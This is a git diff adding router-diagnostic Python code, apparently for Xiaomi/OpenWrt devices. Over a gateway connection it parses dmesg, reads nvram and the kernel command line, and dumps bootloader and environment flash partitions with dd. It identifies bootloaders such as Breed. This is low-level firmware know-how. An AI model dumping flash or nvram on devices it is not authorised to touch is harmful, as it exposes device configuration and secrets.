+ if not os.path.exists(fn_local):
+ return None
+ if os.path.getsize(fn_local) <= 1:
+ return None
+ with open(fn_local, "r") as file:
+ self.dmesg = file.read()
+ return self.dmesg
+
+ def get_part_table(self, verbose = None):
+ verbose = verbose if verbose is not None else self.verbose
+ self.partlist = []
+ if not self.dmesg:
+ return self.partlist
+ x = self.dmesg.find(" MTD partitions on ")
+ if x <= 0:
+ return self.partlist
+ parttbl = re.findall(r'0x0000(.*?)-0x0000(.*?) : "(.*?)"', self.dmesg)
+ if len(parttbl) <= 0:
+ return self.partlist
+ if verbose:
+ print("MTD partitions:")
+ for i, part in enumerate(parttbl):
+ addr = int(part[0], 16)
+ size = int(part[1], 16) - addr
+ name = part[2]
+ self.partlist.append({'addr': addr, 'size': size, 'name': name})
+ if verbose:
+ print(' %2d > addr: 0x%08X size: 0x%08X name: "%s"' % (i, addr, size, name))
+ if verbose:
+ print(" ")
+ return self.partlist
+
+ def get_part_num(self, name_or_addr, comptype = None):
+ if not self.partlist:
+ return -2
+ for i, part in enumerate(self.partlist):
+ if isinstance(name_or_addr, int):
+ if part['addr'] == 0 and part['size'] > 0x00800000:
+ continue # skip "ALL" part
+ addr = name_or_addr
+ if addr >= part['addr'] and addr < part['addr'] + part['size']:
+ return i
+ else:
+ if comptype and comptype[0] == 'e':
+ if part['name'].lower().endswith(name_or_addr.lower()):
+ return i
+ if part['name'].lower() == name_or_addr.lower():
+ return i
+ return -1
+
+ def get_part_list(self, name_or_addr_list, comptype = None):
+ if not self.partlist:
+ return None
+ lst = []
+ for i, val in enumerate(name_or_addr_list):
+ p = self.get_part_num(val, comptype)
+ if p >= 0:
+ lst.append(p)
+ return lst
+
+ def get_rootfs(self, verbose = None):
+ verbose = verbose if verbose is not None else self.verbose
+ self.rootfs = RootFS()
+ if not self.dmesg:
+ return self.rootfs
+ if verbose:
+ print('RootFS info:')
+ # flag_boot_rootfs=0 mounting /dev/mtd10
+ res = re.findall(r'flag_boot_rootfs=(.*?) mounting (.*?)\n', self.dmesg)
+ if len(res) > 0:
+ res = res[0]
+ if verbose:
+ print(' num = {}'.format(res[0]))
+ print(' dev = "{}"'.format(res[1]))
+ self.rootfs.num = int(res[0]) if res[0] else None
+ self.rootfs.dev = res[1]
+ # UBI: attached mtd10 (name "rootfs0", size 32 MiB) to ubi0
+ res = re.findall(r'attached (.*?) \(name "(.*?)", size', self.dmesg)
+ if len(res) > 0:
+ res = res[0]
+ self.rootfs.mtd_name = res[0]
+ self.rootfs.partition = res[1]
+ if verbose:
+ print(' mtd_name = {}'.format(res[0]))
+ print(' partition = "{}"'.format(res[1]))
+ if verbose:
+ print(" ")
+ return self.rootfs
+
+ def get_baseinfo(self, verbose = None):
+ verbose = verbose if verbose is not None else self.verbose
+ self.info = BaseInfo()
+ ret = self.info
+ if not self.dmesg:
+ return ret
+ if verbose:
+ print('Base info:')
+ # Linux version 3.10.14 (jenkins@cefa8cf504dc) (gcc version 4.8.5 (crosstool-NG crosstool-ng-1.22.0) )
+ x = re.search(r'Linux version (.*?) ', self.dmesg)
+ ret.linux_ver = x.group(1).strip() if x else None
+ if verbose:
+ print(' Linux version: {}'.format(ret.linux_ver))
+ # MIPS secondary cache 256kB, 8-way, linesize 32 bytes.
+ x = re.search(r'MIPS secondary cache (.*?) linesize ', self.dmesg)
+ if x:
+ ret.cpu_arch = 'mips'
+ # CPU: ARMv7 Processor [512f04d0] revision 0 (ARMv7), cr=10c5387d
+ x = re.search(r'CPU: ARMv7 Processor(.*?)revision ', self.dmesg)
+ if x:
+ ret.cpu_arch = 'armv7'
+ if verbose:
+ print(' CPU arch: {}'.format(ret.cpu_arch))
+ # start MT7621 PCIe register access
+ x = re.search(r'start (.*?) PCIe register access', self.dmesg)
+ if x:
+ ret.cpu_name = x.group(1).strip().lower() if x else None
+ x = self.dmesg.find("acpuclk-ipq806x acpuclk-ipq806x: ")
+ if x > 0:
+ ret.cpu_name = 'ipq806x'
+ if verbose:
+ print(' CPU name: {}'.format(ret.cpu_name))
+ # spi-mt7621 1e000b00.spi: sys_freq: 50000000
+ x = re.search(r'spi-mt(.*?) (.*?).spi: sys_freq: ', self.dmesg)
+ if x:
+ ret.spi_rom = True
+ if verbose:
+ print(' SPI rom: {}'.format(ret.spi_rom))
+ if verbose:
+ print(" ")
+ return ret
+
+ def get_kernel_cmdline(self, verbose = None, retdict = True):
+ verbose = verbose if verbose is not None else self.verbose
+ self.kcmdline = {} if retdict else None
+ fn_local = 'outdir/kcmdline.log'
+ fn_remote = '/tmp/kcmdline.log'
+ try:
+ gw.run_cmd("cat /proc/cmdline > " + fn_remote)
+ gw.download(fn_remote, fn_local)
+ gw.run_cmd("rm -f " + fn_remote)
+ except Exception:
+ return self.kcmdline
+ if not os.path.exists(fn_local):
+ return self.kcmdline
+ if os.path.getsize(fn_local) <= 1:
+ return self.kcmdline
+ with open(fn_local, "r") as file:
+ data = file.read()
+ if verbose:
+ print("Kernel command line:")
+ print(" ", data)
+ if not retdict:
+ return data
+ data = data.replace("\n", ' ')
+ env = EnvBuffer(data, ' ', crc_prefix = False, encoding = 'ascii')
+ self.kcmdline = env.var
+ #self.kcmdline = type("Names", [object], self.kcmdline)
+ return self.kcmdline
+
+ def get_nvram(self, verbose = None, retdict = True):
+ verbose = verbose if verbose is not None else self.verbose
+ self.nvram = {} if retdict else None
+ fn_local = 'outdir/nvram.txt'
+ fn_remote = '/tmp/nvram.txt'
+ try:
+ gw.run_cmd("nvram show > " + fn_remote)
+ gw.download(fn_remote, fn_local)
+ gw.run_cmd("rm -f " + fn_remote)
+ except Exception:
+ return self.nvram
+ if not os.path.exists(fn_local):
+ return self.nvram
+ if os.path.getsize(fn_local) <= 1:
+ return self.nvram
+ with open(fn_local, "r") as file:
+ data = file.read()
+ if not retdict:
+ return data
+ if verbose:
+ print("NVRam params:")
+ env = EnvBuffer(data, '\n', crc_prefix = False, encoding = 'ascii')
+ self.nvram = env.var
+ if verbose and self.nvram:
+ for i, (k, v) in enumerate(self.nvram.items()):
+ if verbose == 1 and not k.startswith('flag_') and k != 'ipaddr' and k != 'serverip':
+ continue
+ print(" {key}{value}".format(key=k, value=('=' + v if v is not None else '')))
+ if verbose:
+ print(" ")
+ #self.nvram = type("Names", [object], self.nvram)
+ return self.nvram
+
+ def get_board_name(self, verbose = None):
+ verbose = verbose if verbose is not None else self.verbose
+ self.board_name = None
+ fn_local = 'outdir/board_name.txt'
+ fn_remote = '/tmp/sysinfo/board_name'
+ gw.download(fn_remote, fn_local)
+ if os.path.getsize(fn_local) <= 0:
+ return None
+ with open(fn_local, "r") as file:
+ self.board_name = file.read()
+ self.board_name = self.board_name.strip()
+ if verbose:
+ print("Board name: {}".format(self.board_name))
+ print("")
+ return self.board_name
+
+ def get_model(self, verbose = None):
+ verbose = verbose if verbose is not None else self.verbose
+ self.model = None
+ fn_local = 'outdir/model.txt'
+ fn_remote = '/tmp/sysinfo/model'
+ gw.download(fn_remote, fn_local)
+ if os.path.getsize(fn_local) <= 0:
+ return None
+ with open(fn_local, "r") as file:
+ self.model = file.read()
+ self.model = self.model.strip()
+ if verbose:
+ print("Model: {}".format(self.model))
+ print("")
+ return self.model
+
+ def get_ver(self, verbose = None):
+ verbose = verbose if verbose is not None else self.verbose
+ self.ver = Version()
+ if verbose:
+ print("Version info:")
+ fn_local = 'outdir/uboot_version.txt'
+ fn_remote = '/etc/uboot_version'
+ try:
+ gw.download(fn_remote, fn_local, verbose = 0)
+ with open(fn_local, "r") as file:
+ self.ver.uboot1 = file.read().strip()
+ except Exception:
+ pass
+ if verbose:
+ print(" UBoot: {}".format(self.ver.uboot1))
+ fn_local = 'outdir/openwrt_version.txt'
+ fn_remote = '/etc/openwrt_version'
+ try:
+ gw.download(fn_remote, fn_local, verbose = 0)
+ with open(fn_local, "r") as file:
+ self.ver.openwrt = file.read().strip()
+ except Exception:
+ pass
+ if verbose:
+ print(" OpenWrt: {}".format(self.ver.openwrt))
+ fn_local = 'outdir/fw_ver.txt'
+ fn_remote = '/etc/xiaoqiang_version'
+ try:
+ gw.download(fn_remote, fn_local, verbose = 0)
+ except Exception:
+ fn_remote = None
+ if not fn_remote:
+ fn_remote = '/usr/share/xiaoqiang/xiaoqiang_version'
+ try:
+ gw.download(fn_remote, fn_local, verbose = 0)
+ except Exception:
+ fn_remote = None
+ if fn_remote and os.path.getsize(fn_local) > 0:
+ with open(fn_local, "r") as file:
+ s = file.read()
+ x = re.search(r"option ROM '(.*?)'", s)
+ self.ver.fw = x.group(1) if x else None
+ x = re.search(r"option CHANNEL '(.*?)'", s)
+ self.ver.channel = x.group(1) if x else None
+ x = re.search(r"option HARDWARE '(.*?)'", s)
+ self.ver.hardware = x.group(1) if x else None
+ x = re.search(r"option UBOOT '(.*?)'", s)
+ self.ver.uboot2 = x.group(1) if x else None
+ x = re.search(r"option BUILDTIME '(.*?)'", s)
+ self.ver.buildtime = x.group(1) if x else None
+ if verbose:
+ print(" Firmware: {}".format(self.ver.fw))
+ print(" Channel: {}".format(self.ver.channel))
+ print(" BuildTime: {}".format(self.ver.buildtime))
+ print(" Hardware: {}".format(self.ver.hardware))
+ print(" UBoot(2): {}".format(self.ver.uboot2))
+ print("")
+ return self.ver
+
+ def get_bootloader(self, verbose = None):
+ verbose = verbose if verbose is not None else self.verbose
+ self.bl = Bootloader()
+ self.bl_list = []
+ ret = self.bl
+ if verbose:
+ print("Bootloader info:")
+ plst = self.get_part_list(['bootloader', 'SBL1', 'APPSBL', 'SBL2', 'SBL3'], comptype = 'ends')
+ if not plst:
+ return ret
+ for i, p in enumerate(plst):
+ bl = Bootloader()
+ bl.addr = self.partlist[p]['addr']
+ size = self.partlist[p]['size']
+ name = self.partlist[p]['name']
+ name = ''.join(e for e in name if e.isalnum())
+ fn_local = 'outdir/mtd{id}_{name}.bin'.format(id=p, name=name)
+ fn_remote = '/tmp/bl_{name}.bin'.format(name=name)
+ bs = 128*1024
+ cnt = size // bs
+ try:
+ gw.run_cmd("dd if=/dev/mtd{i} of={o} bs={bs} count={cnt}".format(i=p, o=fn_remote, bs=bs, cnt=cnt))
+ gw.download(fn_remote, fn_local)
+ gw.run_cmd("rm -f " + fn_remote)
+ except Exception:
+ continue
+ if verbose:
+ print(" addr: 0x%08X (size: 0x%08X)" % (bl.addr, self.partlist[p]['size']))
+ if not os.path.exists(fn_local):
+ continue
+ if os.path.getsize(fn_local) <= 1:
+ continue
+ with open(fn_local, "rb") as file:
+ data = file.read()
+ bl.img = data
+ self.bl_list.append(bl)
+ if data[0:4] == b'\x27\x05\x19\x56':
+ bl.img_size = 0x40 + int.from_bytes(data[0x0C:0x0C+4], byteorder='big')
+ else:
+ if self.info.cpu_arch == 'mips':
+ bl.spi_rom = True
+ if bl.img_size is None:
+ x = data.find(b'\x00' * 0x240)
+ if x > 0:
+ bl.img_size = x
+ x = data.find(b'\xFF' * 0x240)
+ if x > 0 and x < (bl.img_size if bl.img_size is not None else len(data)):
+ bl.img_size = x
+ max_size = bl.img_size if bl.img_size is not None else len(data)
+ if verbose:
+ print(" image size: {} bytes".format(bl.img_size))
+ #if not bl.type:
+ # x = data.find(b"Breed ")
+ # if (x > 0 and x < 0x40):
+ # bl.type = 'breed'
+ if not bl.type:
+ x = data.find(b'hackpascal@gmail.com')
+ if x > 0 and x < max_size:
+ bl.type = 'breed'
+ if not bl.type:
+ x = data.find(b"PandoraBox-Boot")
+ if x > 0 and x < max_size:
+ bl.type = 'pandora'
+ if not bl.type:
+ x = data.find(b"UBoot Version")
+ if x > 0 and x < max_size:
+ bl.type = 'uboot'
+ if verbose:
+ print(" type: {}".format(bl.type))
+ if self.bl_list:
+ self.bl = self.bl_list[0]
+ if verbose:
+ print("")
+ return self.bl
+
+ def get_env_list(self, verbose = None):
+ verbose = verbose if verbose is not None else self.verbose
+ self.env.fw = EnvBuffer()
+ self.env.breed = EnvBuffer()
+ self.env.bdata = EnvBuffer()
+ self.env_list = []
+ ret = self.env.fw
+ if verbose:
+ print("ENV info:")
+ plst = self.get_part_list(['config', 'APPSBLENV', 'bdata'], comptype = 'ends')
+ if not plst:
+ return ret
+ env_breed_addr = 0x60000 # breed env addr for r3g
+ env_breed_size = 0x20000
+ pb = self.get_part_num(env_breed_addr)
+ if pb >= 0:
+ plst.append(1000 + pb)
+ for i, p in enumerate(plst):
+ env = EnvBuffer()
+ type = ''
+ if p >= 1000 and p < 2000:
+ type = 'breed'
+ p = p - 1000
+ part = self.partlist[p]
+ name = part['name']
+ name = ''.join(e for e in name if e.isalnum())
+ if type == 'breed':
+ env.addr = env_breed_addr
+ data_size = part['size'] - (env.addr - part['addr'])
+ if data_size < env_breed_size:
+ continue
+ else:
+ env.addr = part['addr']
+ data_size = part['size']
+ env.max_size = data_size
+ fn_local = 'outdir/mtd{id}_{name}.bin'.format(id=p, name=name)
+ fn_remote = '/tmp/env_{name}.bin'.format(name=name)
+ if part['size'] < 128*1024:
+ bs = 1024
+ cnt = part['size'] // bs
+ else:
+ bs = 128*1024
+ cnt = part['size'] // bs
+ try:
+ gw.run_cmd("dd if=/dev/mtd{i} of={o} bs={bs} count={cnt}".format(i=p, o=fn_remote, bs=bs, cnt=cnt))
+ gw.download(fn_remote, fn_local)
+ gw.run_cmd("rm -f " + fn_remote)
+ except Exception:
+ continue
+ if verbose:
+ print(" addr: 0x%08X (size: 0x%08X) " % (env.addr, env.max_size), type)
+ if not os.path.exists(fn_local):
+ continue
+ if os.path.getsize(fn_local) <= 1:
+ continue
+ with open(fn_local, "rb") as file:
+ data = file.read()
+ if env.addr is None:
+ continue
+ prefix = data[0:4]
+ if prefix == b"\x00\x00\x00\x00" or prefix == b"\xFF\xFF\xFF\xFF":
+ if type != 'breed':
+ continue
+ env.data = data
+ env.offset = 0
+ self.env_list.append(env)
+ if self.env.fw.addr is None:
+ self.env.fw = env
+ if self.env.bdata.addr is None and name.lower().endswith('bdata'):
+ self.env.bdata = env
+ if self.env.breed.addr is None and type == 'breed':
+ self.env.breed = env
+ if type == 'breed':
+ env.offset = env.addr - part['addr']
+ data = data[env.offset:]
+ if data[0:4] != b'ENV\x00':
+ continue
+ max_size = env_breed_size
+ end = data.find(b"\x00\x00", 4)
+ if end > max_size:
+ continue
+ else:
+ max_size = data.find(b"\xFF\xFF\xFF\xFF", 4)
+ if max_size <= 0:
+ max_size = env.max_size
+ env.max_size = max_size
+ if type != 'breed':
+ env_crc32 = int.from_bytes(prefix, byteorder='little')
+ for i in range(1, 256):
+ size = 1024 * i
+ if size < len(data):
+ buf = data[4:size]
+ crc = binascii.crc32(buf)
+ else:
+ buf = data[4:] + (b'\x00' * (size - len(data) - 4))
+ crc = binascii.crc32(buf)
+ if crc == env_crc32:
+ if verbose:
+ print(" CRC32: 0x%08X" % crc)
+ if size <= data_size:
+ env.max_size = size
+ break
+ if verbose:
+ print(" max size: 0x%X" % env.max_size)
+ #if verbose:
+ # env.buf = EnvBuffer(data, '\x00')
+ # buf, crc = env.buf.pack(env.max_size)
+ # print(" XXX CRC: 0x%X (len = %X)" % (crc, len(buf)))
+ end = data.find(b"\x00\x00", 4)
+ if (end <= 4):
+ continue
+ data = data[4:end+1]
+ env.delim = '\x00'
+ env.crc_prefix = False
+ env.encoding = 'ascii'
+ env.var = env.parse_env_b(data, env.delim, encoding = env.encoding)
+ env.crc_prefix = True
+ if verbose >= 2 and env.var:
+ for i, (k, v) in enumerate(env.var.items()):
+ if (v is not None):
+ v = '=' + v
+ print(" " + k + v)
+ if self.env_list:
+ self.env.fw = self.env_list[0]
+ if verbose:
+ print("")
+ return self.env.fw
+
+
+if __name__ == "__main__":
+ fn_dir = ''
+ fn_old = 'full_info_old.txt'
+ fn_local = 'full_info.txt'
+ fn_remote = '/outdir/full_info.txt'
+
+ if os.path.exists(fn_local):
+ if os.path.exists(fn_old):
+ os.remove(fn_old)
+ os.rename(fn_local, fn_old)
+
+ info = DevInfo(verbose = 1, infolevel = 99)
+ #if not info.partlist:
+ # die("В ядерном логе не обнаружена информация о разметке NAND")
+
+ file = open(fn_local, "w")
+ file.write("_MTD_partitions_:\n")
+ for i, part in enumerate(info.partlist):
+ file.write(" %2d > addr: %08X size: %08X name: \"%s\" \n" % (i, part['addr'], part['size'], part['name']))
+ file.write("\n")
+ file.write("_Base_info_:\n")
+ file.write(' Linux version: {}\n'.format(info.info.linux_ver))
+ file.write(' CPU arch: {}\n'.format(info.info.cpu_arch))
+ file.write(' CPU name: {}\n'.format(info.info.cpu_name))
+ file.write(' SPI rom: {}\n'.format(info.info.spi_rom))
+ file.write("\n")
+ file.write("_Kernel_command_line_:\n")
+ if (info.kcmdline):
+ for i, (k, v) in enumerate(info.kcmdline.items()):
+ v = '' if (v is None) else ('=' + v)
+ file.write(" " + k + v + '\n')
+ file.write("\n")
+ file.write("_NVRam_params_:\n")
+ if (info.nvram):
+ for i, (k, v) in enumerate(info.nvram.items()):
+ v = '' if (v is None) else ('=' + v)
+ file.write(" " + k + v + '\n')
+ file.write("\n")
+ file.write("_RootFS_current_:\n")
+ file.write(' num = {}\n'.format(info.rootfs.num))
+ file.write(' dev = "{}"\n'.format(info.rootfs.dev))
+ file.write(' mtd_name = "{}"\n'.format(info.rootfs.mtd_name))
+ file.write(' partition = "{}"\n'.format(info.rootfs.partition))
+ file.write("\n")
+ #file.write('Board name: "{}" \n\n'.format(info.board_name))
+ #file.write('Model: "{}" \n\n'.format(info.model))
+ file.write("_Version_info_:\n")
+ file.write(" UBoot: {} \n".format(info.ver.uboot1))
+ file.write(" OpenWrt: {} \n".format(info.ver.openwrt))
+ file.write(" Firmware: {} \n".format(info.ver.fw))
+ file.write(" Channel: {} \n".format(info.ver.channel))
+ file.write(" BuildTime: {} \n".format(info.ver.buildtime))
+ file.write(" Hardware: {} \n".format(info.ver.hardware))
+ file.write(" UBoot(2): {} \n".format(info.ver.uboot2))
+ file.write("\n")
+ file.write("_Bootloader_info_:\n")
+ for i, bl in enumerate(info.bl_list):
+ p = info.get_part_num(bl.addr)
+ name = info.partlist[p]['name'] if p >= 0 else ""
+ file.write(" {}:\n".format(name))
+ file.write(" addr: 0x%08X \n" % (bl.addr if bl.addr else 0))
+ file.write(" size: 0x%08X \n" % (len(bl.img) if bl.img else 0))
+ file.write(" image size: {} bytes \n".format(bl.img_size))
+ file.write(" type: {} \n".format(bl.type))
+ file.write("\n")
+ file.write("_ENV_info_:\n")
+ for i, env in enumerate(info.env_list):
+ p = info.get_part_num(env.addr)
+ name = info.partlist[p]['name'] if p >= 0 else ""
+ file.write(" {}:\n".format(name))
+ file.write(" addr: 0x%08X \n" % (env.addr if env.addr else 0))
+ file.write(" size: 0x%08X \n" % (env.max_size if env.max_size else 0))
+ file.write(" len: %d bytes \n" % env.len)
+ file.write(" prefix: {} \n".format(env.data[env.offset:env.offset+4] if env.data else None))
+ if env.var:
+ for i, (k, v) in enumerate(env.var.items()):
+ v = '' if (v is None) else ('=' + v)
+ file.write(" " + k + v + '\n')
+ file.write("\n")
+ file.close()
+
+ print("Full device information saved to file {}".format(fn_local))
diff --git a/reboot.py b/reboot.py
new file mode 100644
index 0000000..01a52a1
--- /dev/null
+++ b/reboot.py
@@ -0,0 +1,18 @@
+#!/usr/bin/env python3
+# -*- coding: utf-8 -*-
+
+import os
+import sys
+import platform
+
+sys.path.append(os.path.dirname(os.path.abspath(__file__)))
+import gateway
+from gateway import die
+
+
+gw = gateway.Gateway()
+
+print("Send command...")
+gw.run_cmd("reboot")
+
+print("Reboot activated!")
diff --git a/run.bat b/run.bat
new file mode 100644
index 0000000..46affcb
--- /dev/null
+++ b/run.bat
@@ -0,0 +1,3 @@
+@echo off
+chcp 866 >NUL
+python\python.exe menu.py